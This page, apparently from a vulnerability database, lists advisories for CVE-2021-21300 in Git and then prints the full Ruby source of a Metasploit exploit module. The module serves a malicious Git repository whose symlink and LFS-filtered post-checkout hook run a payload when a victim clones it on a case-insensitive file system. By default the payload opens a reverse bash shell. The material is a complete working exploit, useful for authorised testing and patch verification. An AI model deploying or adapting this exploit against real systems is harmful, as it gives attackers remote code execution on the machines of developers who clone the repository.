| Reporter | Title | Published | Views | Family All 124 |
|---|---|---|---|---|
| Git LFS Clone Command Execution Exploit | 31 Aug 202100:00 | – | zdt | |
| Security Bulletin: IBM Watson Speech Services Cartridge for IBM Cloud Pak for Data is vulnerable to arbitrary code execution in MS Visual Studio (CVE-2021-21300). | 12 Jan 202321:59 | – | ibm | |
| CVE-2021-21300 | 9 Mar 202100:00 | – | attackerkb | |
| Amazon Linux 2 : git (ALAS-2021-1621) | 27 Mar 202100:00 | – | nessus | |
| Amazon Linux AMI : git (ALAS-2021-1490) | 25 Mar 202100:00 | – | nessus | |
| Debian dla-3145 : git - security update | 13 Oct 202200:00 | – | nessus | |
| EulerOS 2.0 SP8 : git (EulerOS-SA-2021-1870) | 18 May 202100:00 | – | nessus | |
| EulerOS 2.0 SP5 : git (EulerOS-SA-2021-1897) | 18 May 202100:00 | – | nessus | |
| EulerOS 2.0 SP9 : git (EulerOS-SA-2021-1923) | 3 Jun 202100:00 | – | nessus | |
| EulerOS 2.0 SP9 : git (EulerOS-SA-2021-1944) | 3 Jun 202100:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Git
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Git::Lfs
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Git LFS Clone Command Exec',
'Description' => %q{
Git clients that support delay-capable clean / smudge
filters and symbolic links on case-insensitive file systems are
vulnerable to remote code execution while cloning a repository.
Usage of clean / smudge filters through Git LFS and a
case-insensitive file system changes the checkout order
of repository files which enables the placement of a Git hook
in the `.git/hooks` directory. By default, this module writes
a `post-checkout` script so that the payload will automatically
be executed upon checkout of the repository.
},
'License' => MSF_LICENSE,
'Author' => [
'Johannes Schindelin', # Discovery
'Matheus Tavares', # Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2021-21300' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
[ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
],
'DisclosureDate' => '2021-04-26',
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Git for MacOS, Windows',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
}
)
)
register_options(
[
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
]
)
deregister_options('RHOSTS', 'RPORT')
end
def exploit
setup_repo_structure
super
end
def setup_repo_structure
link_content = '.git/hooks'
link_name = Rex::Text.rand_text_alpha(8..12).downcase
link_obj = GitObject.build_blob_object(link_content)
dir_name = link_name.upcase
git_attr = '.gitattributes'
git_hook = 'post-checkout'
@hook_payload = "#!/bin/sh\n#{payload.encoded}"
ptr_file = generate_pointer_file(@hook_payload)
# need to initially send the pointer file
# then send the actual object when Git LFS requests it
git_hook_ptr = GitObject.build_blob_object(ptr_file)
git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
git_attr_obj = GitObject.build_blob_object(git_attr_content)
sub_file_content = Rex::Text.rand_text_alpha(0..150)
sub_file_name = Rex::Text.rand_text_alpha(8..12)
sub_file_obj = GitObject.build_blob_object(sub_file_content)
register_dir_for_cleanup('.git')
register_files_for_cleanup(git_attr, link_name)
# create subdirectory which holds payload
sub_tree =
[
{
mode: '100644',
file_name: sub_file_name,
sha1: sub_file_obj.sha1
},
{
mode: '100755',
file_name: git_hook,
sha1: git_hook_ptr.sha1
}
]
sub_tree_obj = GitObject.build_tree_object(sub_tree)
# root of repository
tree_ent =
[
{
mode: '100644',
file_name: git_attr,
sha1: git_attr_obj.sha1
},
{
mode: '040000',
file_name: dir_name,
sha1: sub_tree_obj.sha1
},
{
mode: '120000',
file_name: link_name,
sha1: link_obj.sha1
}
]
tree_obj = GitObject.build_tree_object(tree_ent)
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
@git_objs =
[
commit, tree_obj, sub_tree_obj,
sub_file_obj, git_attr_obj, git_hook_ptr,
link_obj
]
@refs =
{
'HEAD' => 'refs/heads/master',
'refs/heads/master' => commit.sha1
}
end
def create_git_uri
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
end
def primer
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
print_status("Git repository to clone: #{@git_addr}")
hardcoded_uripath(@git_repo_uri)
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
end
def on_request_uri(cli, req)
if req.uri.include?('git-upload-pack')
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
case request.type
when 'ref-discovery'
response = send_refs(request)
when 'upload-pack'
response = send_requested_objs(request)
else
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
end
else
response = handle_lfs_objects(req)
unless response.code == 200
cli.send_response(response)
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
end
end
cli.send_response(response)
end
def send_refs(req)
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
response = get_ref_discovery_response(req, @refs)
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
response
end
def send_requested_objs(req)
upload_pack_resp = get_upload_pack_response(req, @git_objs)
unless upload_pack_resp
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
end
upload_pack_resp
end
def handle_lfs_objects(req)
git_hook_obj = GitObject.build_blob_object(@hook_payload)
case req.method
when 'POST'
print_status('Sending payload data...')
response = get_batch_response(req, @git_addr, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
when 'GET'
print_status('Sending LFS object...')
response = get_requested_obj_response(req, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
else
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
end
response
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation